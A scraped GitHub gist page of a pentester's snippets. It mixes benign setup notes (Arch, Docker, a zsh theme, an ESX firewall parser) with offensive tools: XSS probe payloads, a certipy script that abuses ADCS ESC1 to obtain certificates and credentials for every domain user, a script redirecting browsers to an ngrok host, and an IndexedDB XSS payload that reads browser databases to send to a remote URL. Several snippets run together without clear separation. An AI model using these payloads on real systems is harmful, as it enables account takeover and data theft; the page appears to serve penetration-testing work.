Skip to content

Instantly share code, notes, and snippets.

View shoxxdj's full-sized avatar
😃

shoxxdj

😃
View GitHub Profile
@shoxxdj
shoxxdj / gist:d933378fee95fbc126a38cdd99871ae9
Last active October 23, 2023 08:52
Archlinux setup 2023

//Download ISO //Boot on ISO (may need to disable SecureBoot)

loadkeys fr //Ethernet //Just plug

//Wifi : iwctl > device list

echo "URL WITH PARAM" | reflector | qsreplace '"><img src=x onerror=alert(1);>' | freq
@shoxxdj
shoxxdj / parser.js
Last active February 27, 2023 22:42
ESX rules to json parser (enabled only)
//for i in $(ls /etc/vmware/firewall/*.xml); do cat $i | xq .;echo ","; done > /tmp/firewallRules.json
const fs = require('fs');
let rawdatas = fs.readFileSync('./firewallRules.json');
let datas = JSON.parse(rawdatas);
let result = [];
let rules = [];
@shoxxdj
shoxxdj / bf.sh
Last active February 27, 2023 15:40
Get All NTDS from ESC1 Only
#Dump Passwords with ESC1 Only
#ldapdomaindump.py > cat domain_users.grep | awk -F'\t' '{print $3}' | tr '[:upper:]' '[:lower:]' > AllUsersNames
#Run this script with : for i in $(cat AllUsersNames); do ./bf.sh $i; done
certipy req -u 'USER' -p 'PASSWORD' -target PKIXX.domain.ltd -template TEMPLATENAME -ca CA-NAME -upn $1@domain.tld
certipy auth -pfx $1.pfx -dc-ip IP >> res.bf
@shoxxdj
shoxxdj / shoxx.zsh-theme
Created February 22, 2023 09:56
Theme OhMyZsh
prompt_symbol=💀
prompt_symbol=🦄
# Skull emoji for root terminal
[ "$EUID" -eq 0 ] && prompt_symbol=💀
#PROMPT=$'%F{%(#.bold.blue)}┌─%F{%(#.bold.green)}${debian_chroot:+($debian_chroot)─}${VIRTUAL_ENV:+($(basename $VIRTUAL_ENV))─}(%B%F{%(#.red.blue)}%n'$prompt_symbol$'%b%m%F{%(#.blue.green)})-[%B%F{reset}%(6~.%-1~/…/%4~.%5~)%b%F{%(#.bold.blue)}]\n└─[%B%F{%(#.bold.yellow)}$(date +%d/%m" | "%H:%M)%b%F{%(#.bold.blue)}] %B%(#.%F{red}#.%F{blue}$)%b%F{reset} '
PROMPT=$'%F{%(#.bold.blue)}┌─%F{%(#.bold.green)}${debian_chroot:+($debian_chroot)─}${VIRTUAL_ENV:+($(basename $VIRTUAL_ENV))─}(%B%F{%(#.red.blue)}%n'$prompt_symbol$'%m%b%F{%(#.blue.green)})-[%B%F{reset}%(6~.%-1~/…/%4~.%5~)%b%F{%(#.bold.blue)}]\n└─[%B%F{%(#.bold.yellow)}$(date +%d/%m" | "%H:%M)%b%F{%(#.bold.blue)}]$(ls .git 1>/dev/null 2>/dev/null && echo -n "[" && echo -n $(git branch --show-current) && echo -n "]") %B%(#.%F{red}#.%F{blue}$)%b%F{reset} '
<script>
function toto(){window.location.href="http://ccd8-185-43-247-118.ngrok.io/itworks"}
toto();
</script>
@shoxxdj
shoxxdj / install.sh
Created May 30, 2022 12:30
InstallDocker Ubuntu
curl -fsSL https://test.docker.com -o install-docker.sh
chmod +x install-docker.sh
./install-docker.sh
sudo usermod -aG docker ubuntu
sudo apt-get install docker-compose-plugin
@shoxxdj
shoxxdj / Get Content
Last active May 30, 2022 10:04
IndexdDB Xss
var REMOTE_URL="TO_REPLACE";
indexedDB.databases().then(d =>{
d.forEach(db=>{
var DB_NAME=db.name;
var DB_VERSION=db.version;
var open=window.indexedDB.open(DB_NAME,DB_VERSION);
open.onsuccess = function(){
console.log("Db Opened");
var db = open.result;
var transaction = db.transaction(db.objectStoreNames[0],"readwrite");
@shoxxdj
shoxxdj / infos.txt
Created September 25, 2021 20:48
Detection Lab adds
cd Vagrant/scripts/ && mkdir perso && vim conf.ps1
conf.ps1
```
#Create Groups
#Create Users
#$1 => interface
# Add a new namespace called test_ns
ip netns add test_ns
# Set test to use eth0, after this point eth0 is not usable by programs
# outside the namespace
ip link set $1 netns test_ns
# Bring up eth0 inside test_ns
ip netns exec test_ns ip link set $1 up